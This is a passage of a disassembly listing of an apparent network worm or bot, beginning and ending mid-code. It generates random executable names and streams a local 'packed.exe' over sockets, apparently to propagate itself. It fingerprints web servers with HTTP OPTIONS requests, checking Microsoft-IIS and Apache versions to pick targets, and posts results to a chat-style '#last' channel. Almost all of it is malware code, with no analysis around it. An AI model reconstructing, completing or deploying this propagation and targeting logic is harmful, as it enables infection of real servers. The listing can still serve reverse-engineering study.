[ebp+var_18] inc eax mov [ebp+var_18], eax loc_4126FB: ; CODE XREF: sub_4125DF+113j mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jnb short loc_412718 mov eax, [ebp+var_4] add eax, [ebp+var_18] mov al, [eax] xor al, byte ptr [ebp+var_C] mov ecx, [ebp+var_4] add ecx, [ebp+var_18] mov [ecx], al jmp short loc_4126F4 ; --------------------------------------------------------------------------- loc_412718: ; CODE XREF: sub_4125DF+122j mov eax, [ebp+var_14] add eax, 1Ch locret_41271E: ; CODE XREF: sub_4125DF+Ej ; sub_4125DF+49j leave retn sub_4125DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412720 proc near ; CODE XREF: sub_412A3A+Cp ; sub_412BC9+DFp ... var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_E4 = byte ptr -0E4h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_194], eax and [ebp+var_190], 0 loc_412741: ; CODE XREF: sub_412720:loc_41278Aj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_190] mov [ebp+ecx+var_10], al mov eax, [ebp+var_190] inc eax mov [ebp+var_190], eax mov eax, [ebp+var_190] cmp eax, [ebp+var_194] jnz short loc_41278A push offset a_exe ; ".exe" mov eax, [ebp+var_190] lea eax, [ebp+eax+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_41278C ; --------------------------------------------------------------------------- loc_41278A: ; CODE XREF: sub_412720+4Fj jmp short loc_412741 ; --------------------------------------------------------------------------- loc_41278C: ; CODE XREF: sub_412720+68j push 17Ch push offset dword_41CA18 lea eax, [ebp+var_18C] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_E4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 17Ch lea eax, [ebp+var_18C] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch leave retn sub_412720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127D0 proc near ; CODE XREF: sub_412A3A+14Dp ; sub_412BC9+133p ... var_24C = byte ptr -24Ch var_22C = byte ptr -22Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24Ch cmp dword_41EB1C, 0 jnz loc_4128A0 mov dword_41EB1C, 1 and [ebp+var_20C], 0 jmp short loc_412806 ; --------------------------------------------------------------------------- loc_4127F9: ; CODE XREF: sub_4127D0:loc_41289Bj mov eax, [ebp+var_20C] inc eax mov [ebp+var_20C], eax loc_412806: ; CODE XREF: sub_4127D0+27j mov eax, [ebp+var_20C] imul eax, 0Ch cmp off_41DA68[eax], 0 jz loc_4128A0 push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41DA68[eax] lea eax, [ebp+var_22C] push eax call sub_407A56 add esp, 0Ch push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41CBA0[eax] lea eax, [ebp+var_24C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_22C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax lea eax, [ebp+var_22C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_41289B mov dword_41EB20, 1 jmp short loc_4128A0 ; --------------------------------------------------------------------------- loc_41289B: ; CODE XREF: sub_4127D0+BDj jmp loc_4127F9 ; --------------------------------------------------------------------------- loc_4128A0: ; CODE XREF: sub_4127D0+10j ; sub_4127D0+46j ... cmp dword_41EB20, 0 jz short loc_4128AE push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128AE: ; CODE XREF: sub_4127D0+D7j push offset aRb ; "rb" push offset aPacked_exe_0 ; "packed.exe" call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4128CC xor eax, eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128CC: ; CODE XREF: sub_4127D0+F6j and [ebp+var_4], 0 loc_4128D0: ; CODE XREF: sub_4127D0+145j push [ebp+var_8] push 200h push 1 lea eax, [ebp+var_208] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412900 push [ebp+var_8] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_412900: ; CODE XREF: sub_4127D0+120j push [ebp+var_4] lea eax, [ebp+var_208] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch jmp short loc_4128D0 ; --------------------------------------------------------------------------- locret_412917: ; CODE XREF: sub_4127D0+DCj ; sub_4127D0+FAj ... leave retn sub_4127D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412919 proc near ; CODE XREF: sub_412BC9+E8p ; .text:00412D6Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412938 xor eax, eax jmp short locret_41294C ; --------------------------------------------------------------------------- loc_412938: ; CODE XREF: sub_412919+19j push 0 push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call ds:dword_417248 ; recv mov eax, [ebp+var_4] locret_41294C: ; CODE XREF: sub_412919+1Dj leave retn sub_412919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41294E proc near ; CODE XREF: sub_412BC9+115p ; .text:00412D91p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_412964 ; --------------------------------------------------------------------------- loc_41295D: ; CODE XREF: sub_41294E:loc_4129C3j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_412964: ; CODE XREF: sub_41294E+Dj mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz short loc_4129C5 mov eax, [ebp+var_8] imul eax, 3Ah mov eax, dword_41CCF6[eax] cmp eax, [ebp+arg_0] jnz short loc_4129C3 mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" mov [ebp+var_4], eax push 3Ah mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" push eax push [ebp+arg_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] call sub_4105FB pop ecx mov eax, [ebp+arg_4] add eax, 13h push eax call sub_4105FB pop ecx jmp short loc_4129C5 ; --------------------------------------------------------------------------- loc_4129C3: ; CODE XREF: sub_41294E+34j jmp short loc_41295D ; --------------------------------------------------------------------------- loc_4129C5: ; CODE XREF: sub_41294E+23j ; sub_41294E+73j mov eax, [ebp+var_4] leave retn sub_41294E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129CA proc near ; CODE XREF: sub_412A3A+16Bp ; sub_412BC9+15Ap ... var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 104h push 1 mov eax, [ebp+arg_0] add eax, 2Ah push eax call sub_409C88 pop ecx pop ecx mov [ebp+var_104], eax lea eax, [ebp+var_100] push eax push [ebp+arg_8] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_412A11 push offset aUnknown_0 ; "unknown" lea eax, [ebp+var_100] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412A11: ; CODE XREF: sub_4129CA+32j lea eax, [ebp+var_100] push eax mov eax, [ebp+var_104] inc eax push eax push [ebp+arg_C] push [ebp+arg_4] push offset dword_41A1D0 push offset aLast ; "#last" call sub_40D4AB add esp, 18h leave retn sub_4129CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A3A proc near ; CODE XREF: .text:00413466p var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = byte ptr -248h var_235 = byte ptr -235h var_222 = dword ptr -222h var_20C = dword ptr -20Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push [ebp+arg_4] call sub_412720 pop ecx push 3Ah push [ebp+arg_0] lea eax, [ebp+var_248] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_248] push eax call sub_4105FB pop ecx lea eax, [ebp+var_235] push eax call sub_4105FB pop ecx lea eax, [ebp+var_20C+3] mov [ebp+var_8], eax push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch and [ebp+var_4], 0 jmp short loc_412AA6 ; --------------------------------------------------------------------------- loc_412A9F: ; CODE XREF: sub_412A3A+8Aj ; sub_412A3A:loc_412B7Fj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412AA6: ; CODE XREF: sub_412A3A+63j cmp [ebp+var_4], 3Ch jnz short loc_412AB1 jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AB1: ; CODE XREF: sub_412A3A+70j push 3E8h push [ebp+arg_4] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412AC6 jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412AC6: ; CODE XREF: sub_412A3A+88j push 200h push [ebp+var_8] push [ebp+arg_4] call sub_4053DC add esp, 0Ch mov [ebp+var_24C], eax cmp [ebp+var_24C], 0FFFFFFFFh jnz short loc_412AED jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AED: ; CODE XREF: sub_412A3A+ACj cmp [ebp+var_24C], 0 jz short loc_412B69 and [ebp+var_250], 0 jmp short loc_412B0C ; --------------------------------------------------------------------------- loc_412AFF: ; CODE XREF: sub_412A3A:loc_412B34j mov eax, [ebp+var_250] inc eax mov [ebp+var_250], eax loc_412B0C: ; CODE XREF: sub_412A3A+C3j mov eax, [ebp+var_250] cmp eax, [ebp+var_24C] jnb short loc_412B36 mov eax, [ebp+var_250] mov eax, [ebp+eax+var_20C] cmp eax, [ebp+var_222] jnz short loc_412B34 jmp loc_412BC5 ; --------------------------------------------------------------------------- loc_412B34: ; CODE XREF: sub_412A3A+F3j jmp short loc_412AFF ; --------------------------------------------------------------------------- loc_412B36: ; CODE XREF: sub_412A3A+DEj push 3 mov eax, [ebp+var_24C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3] push eax lea eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch push 200h push 0 push [ebp+var_8] call sub_416B6A ; memset add esp, 0Ch jmp short loc_412B7F ; --------------------------------------------------------------------------- loc_412B69: ; CODE XREF: sub_412A3A+BAj push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch loc_412B7F: ; CODE XREF: sub_412A3A+12Dj jmp loc_412A9F ; --------------------------------------------------------------------------- loc_412B84: ; CODE XREF: sub_412A3A:loc_412BC5j push [ebp+arg_4] call sub_4127D0 pop ecx test eax, eax jnz short loc_412B93 jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412B93: ; CODE XREF: sub_412A3A+155j push offset dword_41CC64 push [ebp+arg_4] lea eax, [ebp+var_248] push eax push [ebp+arg_0] call sub_4129CA add esp, 10h push 1 push [ebp+arg_4] call ds:dword_417200 ; shutdown push 3E8h call ds:dword_41709C ; Sleep jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412BC5: ; CODE XREF: sub_412A3A+F5j jmp short loc_412B84 ; --------------------------------------------------------------------------- locret_412BC7: ; CODE XREF: sub_412A3A+72j ; sub_412A3A+AEj ... leave retn sub_412A3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412BC9 proc near ; CODE XREF: .text:00413483p var_85C = dword ptr -85Ch var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = byte ptr -84Ch var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 85Ch push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_404FE7 add esp, 0Ch mov [ebp+var_8], eax mov [ebp+var_854], 3Ch and [ebp+var_850], 0 and [ebp+var_810], 0 loc_412BFD: ; CODE XREF: sub_412BC9+A9j and [ebp+var_85C], 0 jmp short loc_412C13 ; --------------------------------------------------------------------------- loc_412C06: ; CODE XREF: sub_412BC9:loc_412C35j mov eax, [ebp+var_85C] inc eax mov [ebp+var_85C], eax loc_412C13: ; CODE XREF: sub_412BC9+3Bj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnb short loc_412C37 mov eax, [ebp+var_85C] mov eax, [ebp+eax*4+var_80C] cmp eax, [ebp+var_8] jnz short loc_412C35 jmp short loc_412C37 ; --------------------------------------------------------------------------- loc_412C35: ; CODE XREF: sub_412BC9+68j jmp short loc_412C06 ; --------------------------------------------------------------------------- loc_412C37: ; CODE XREF: sub_412BC9+56j ; sub_412BC9+6Aj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnz short loc_412C6E cmp [ebp+var_810], 200h jnb short loc_412C6E mov eax, [ebp+var_85C] mov ecx, [ebp+var_8] mov [ebp+eax*4+var_80C], ecx mov eax, [ebp+var_810] inc eax mov [ebp+var_810], eax loc_412C6E: ; CODE XREF: sub_412BC9+7Aj ; sub_412BC9+86j xor eax, eax test eax, eax jnz short loc_412BFD lea eax, [ebp+var_854] push eax push 0 lea eax, [ebp+var_810] push eax push 0 push 0 call ds:dword_41722C ; select mov [ebp+var_C], eax cmp [ebp+var_C], 1 jz short loc_412CA5 push [ebp+var_8] call sub_4053B1 pop ecx jmp locret_412D4A ; --------------------------------------------------------------------------- loc_412CA5: ; CODE XREF: sub_412BC9+CCj push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_858], eax cmp [ebp+var_858], 0 jnz short loc_412CD1 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CD1: ; CODE XREF: sub_412BC9+FBj lea eax, [ebp+var_84C] push eax push [ebp+var_858] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412CF9 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CF9: ; CODE XREF: sub_412BC9+123j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412D11 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412D11: ; CODE XREF: sub_412BC9+13Bj push offset dword_41CC68 push [ebp+var_8] lea eax, [ebp+var_84C] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call ds:dword_417200 ; shutdown push 3E8h call ds:dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx locret_412D4A: ; CODE XREF: sub_412BC9+D7j ; sub_412BC9+106j ... leave retn sub_412BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D4C proc near ; CODE XREF: .text:loc_413420p push ebp mov ebp, esp mov eax, offset dword_41EB24 pop ebp retn sub_412D4C endp ; --------------------------------------------------------------------------- loc_412D56: ; DATA XREF: .text:00412ECEo push ebp mov ebp, esp sub esp, 48h mov eax, [ebp+8] mov [ebp-8], eax push dword ptr [ebp-8] call sub_412720 pop ecx push dword ptr [ebp-8] call sub_412919 pop ecx mov [ebp-48h], eax cmp dword ptr [ebp-48h], 0 jnz short loc_412D8A push dword ptr [ebp-8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412D8A: ; CODE XREF: .text:00412D7Bj lea eax, [ebp-44h] push eax push dword ptr [ebp-48h] call sub_41294E pop ecx pop ecx mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_412DAE push dword ptr [ebp-8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DAE: ; CODE XREF: .text:00412D9Fj push dword ptr [ebp-8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412DC8 push dword ptr [ebp-8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DC8: ; CODE XREF: .text:00412DB9j push offset dword_41CC6C push dword ptr [ebp-8] lea eax, [ebp-44h] push eax push dword ptr [ebp-4] call sub_4129CA add esp, 10h push 1 push dword ptr [ebp-8] call ds:dword_417200 ; shutdown push 3E8h call ds:dword_41709C ; Sleep push dword ptr [ebp-8] call sub_4053B1 pop ecx xor eax, eax locret_412E00: ; CODE XREF: .text:00412D88j ; .text:00412DACj ... leave retn 4 ; --------------------------------------------------------------------------- loc_412E04: ; DATA XREF: sub_412F07+B0o push ebp mov ebp, esp sub esp, 1B8h push 1ADh push dword ptr [ebp+8] lea eax, [ebp-1B4h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp-1B0h] push eax call sub_4046BC pop ecx pop ecx mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_412E59 push dword ptr [ebp-1B4h] call sub_409763 pop ecx xor eax, eax jmp locret_412F03 ; --------------------------------------------------------------------------- loc_412E59: ; CODE XREF: .text:00412E44j lea eax, [ebp-1B0h] push eax mov eax, [ebp-1B4h] push dword ptr [eax] push offset dword_41CC70 lea eax, [ebp-1AAh] push eax call sub_40D53F add esp, 10h lea eax, [ebp-1B0h] push eax push offset dword_41EB24 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412E8F: ; CODE XREF: .text:00412EBBj ; .text:loc_412EEAj mov eax, [ebp-1B4h] cmp dword ptr [eax+4], 0 jz short loc_412E9D jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412E9D: ; CODE XREF: .text:00412E99j push 3E8h push dword ptr [ebp-4] call sub_4048EF pop ecx pop ecx mov [ebp-1B8h], eax cmp dword ptr [ebp-1B8h], 0FFFFFFFFh jnz short loc_412EBD jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EBD: ; CODE XREF: .text:00412EB9j cmp dword ptr [ebp-1B8h], 0 jnz short loc_412EC8 jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412EC8: ; CODE XREF: .text:00412EC4j push dword ptr [ebp-1B8h] push offset loc_412D56 call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_412EEA push dword ptr [ebp-1B8h] call sub_4053B1 pop ecx loc_412EEA: ; CODE XREF: .text:00412EDCj jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EEC: ; CODE XREF: .text:00412E9Bj ; .text:00412EC6j push dword ptr [ebp-4] call sub_404CBB pop ecx push dword ptr [ebp-1B4h] call sub_409763 pop ecx xor eax, eax locret_412F03: ; CODE XREF: .text:00412E54j leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F07 proc near ; CODE XREF: sub_40A9CF+F6Ep ; .text:00413763p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_412F26 jmp locret_412FC4 ; --------------------------------------------------------------------------- loc_412F26: ; CODE XREF: sub_412F07+18j cmp [ebp+arg_4], 0 jz short loc_412F3A push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax jmp short loc_412F4E ; --------------------------------------------------------------------------- loc_412F3A: ; CODE XREF: sub_412F07+23j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_C], eax loc_412F4E: ; CODE XREF: sub_412F07+31j mov eax, [ebp+var_C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_412F63 cmp [ebp+var_4], 0FFFFh jbe short loc_412F77 loc_412F63: ; CODE XREF: sub_412F07+51j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_4], eax loc_412F77: ; CODE XREF: sub_412F07+5Aj push 0Ah mov eax, [ebp+var_8] add eax, 4 push eax push [ebp+var_4] call sub_416F7A ; _itoa add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx push [ebp+var_4] push offset dword_41CCA8 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset loc_412E04 call sub_4095A4 add esp, 14h locret_412FC4: ; CODE XREF: sub_412F07+1Aj leave retn sub_412F07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412FC6 proc near ; CODE XREF: .text:004168CBp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD1: ; CODE XREF: sub_412FC6:loc_413088j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412FD8: ; CODE XREF: sub_412FC6+9j mov eax, [ebp+var_4] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz locret_41308D mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_4] imul ecx, 3Ah mov ecx, dword_41CCF6[ecx] and ecx, 0FFh mov eax, off_41CCFE[eax] sub eax, ecx mov ecx, [ebp+var_4] imul ecx, 3Ah mov off_41CCFE[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah and dword_41CCFA[eax], 0 loc_413024: ; CODE XREF: sub_412FC6+7Ej ; sub_412FC6+BEj call sub_410422 mov ecx, [ebp+var_4] imul ecx, 3Ah mov dword_41CCF6[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah cmp dword_41CCF6[eax], 0 jnz short loc_413046 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413046: ; CODE XREF: sub_412FC6+7Cj and [ebp+var_8], 0 jmp short loc_413053 ; --------------------------------------------------------------------------- loc_41304C: ; CODE XREF: sub_412FC6:loc_413086j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_413053: ; CODE XREF: sub_412FC6+84j mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz short loc_413088 mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jz short loc_413086 mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_8] imul ecx, 3Ah mov eax, dword_41CCF6[eax] cmp eax, dword_41CCF6[ecx] jnz short loc_413086 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413086: ; CODE XREF: sub_412FC6+A2j ; sub_412FC6+BCj jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413088: ; CODE XREF: sub_412FC6+9Aj jmp loc_412FD1 ; --------------------------------------------------------------------------- locret_41308D: ; CODE XREF: sub_412FC6+1Fj leave retn sub_412FC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41308F proc near ; CODE XREF: .text:00413390p var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = byte ptr -810h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 820h push 16h push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n" push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_4130C4 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130C4: ; CODE XREF: sub_41308F+2Cj push 0 push 800h lea eax, [ebp+var_810] push eax push [ebp+arg_0] call ds:dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4130F3 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4130F3 cmp [ebp+var_8], 800h jnz short loc_4130FA loc_4130F3: ; CODE XREF: sub_41308F+53j ; sub_41308F+59j xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130FA: ; CODE XREF: sub_41308F+62j mov eax, [ebp+var_8] and [ebp+eax+var_810], 0 and [ebp+var_4], 0 push offset aServer ; "Server:" lea eax, [ebp+var_810] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_41312C xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41312C: ; CODE XREF: sub_41308F+94j lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+var_10] call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413150 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413150: ; CODE XREF: sub_41308F+B8j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413173 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413173: ; CODE XREF: sub_41308F+DBj lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax push 0Dh push offset aMicrosoftIis ; "Microsoft-IIS" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41323C and [ebp+var_818], 0 and [ebp+var_814], 0 lea eax, [ebp+var_814] push eax lea eax, [ebp+var_818] push eax push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u" push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 10h cmp [ebp+var_818], 4 jnz short loc_4131E9 cmp [ebp+var_814], 0 jnz short loc_4131E9 push 4 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4131E9: ; CODE XREF: sub_41308F+147j ; sub_41308F+150j cmp [ebp+var_818], 5 jnz short loc_413203 cmp [ebp+var_814], 0 jnz short loc_413203 push 3 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413203: ; CODE XREF: sub_41308F+161j ; sub_41308F+16Aj cmp [ebp+var_818], 5 jnz short loc_41321D cmp [ebp+var_814], 5 jnz short loc_41321D push 2 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41321D: ; CODE XREF: sub_41308F+17Bj ; sub_41308F+184j cmp [ebp+var_818], 6 jnz short loc_413237 cmp [ebp+var_814], 0 jnz short loc_413237 push 1 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413237: ; CODE XREF: sub_41308F+195j ; sub_41308F+19Ej jmp loc_41331A ; --------------------------------------------------------------------------- loc_41323C: ; CODE XREF: sub_41308F+10Ej cmp [ebp+var_C], 0 jz loc_41331A push 6 push offset aApache ; "Apache" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41331A and [ebp+var_820], 0 lea eax, [ebp+var_820] push eax push offset aApacheU ; "Apache/%u" push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 0Ch push 6 push offset aUnix ; "(Unix)" push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch neg eax sbb eax, eax inc eax mov [ebp+var_81C], eax cmp [ebp+var_81C], 1 jnz short loc_4132BE push 7 push offset aWin32 ; "(Win32)" push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jz short loc_4132BE xor eax, eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132BE: ; CODE XREF: sub_41308F+213j ; sub_41308F+229j cmp [ebp+var_820], 1 jnz short loc_4132D5 cmp [ebp+var_81C], 0 jz short loc_4132D5 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132D5: ; CODE XREF: sub_41308F+236j ; sub_41308F+23Fj cmp [ebp+var_820], 1 jnz short loc_4132EC cmp [ebp+var_81C], 0 jnz short loc_4132EC push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132EC: ; CODE XREF: sub_41308F+24Dj ; sub_41308F+256j cmp [ebp+var_820], 2 jnz short loc_413303 cmp [ebp+var_81C], 0 jz short loc_413303 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_413303: ; CODE XREF: sub_41308F+264j ; sub_41308F+26Dj cmp [ebp+var_820], 2 jnz short loc_41331A cmp [ebp+var_81C], 0 jnz short loc_41331A push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_41331A: ; CODE XREF: sub_41308F:loc_413237j ; sub_41308F+1B1j ... xor eax, eax locret_41331C: ; CODE XREF: sub_41308F+30j ; sub_41308F+66j ... leave retn sub_41308F endp ; --------------------------------------------------------------------------- loc_41331E: ; DATA XREF: .text:00413987o ; .text:00413F2Fo push ebp mov ebp, esp sub esp, 14Ch push 14Ch push dword ptr [ebp+8] lea eax, [ebp-14Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push 1 push dword ptr [ebp-10Eh] call sub_404457 pop ecx pop 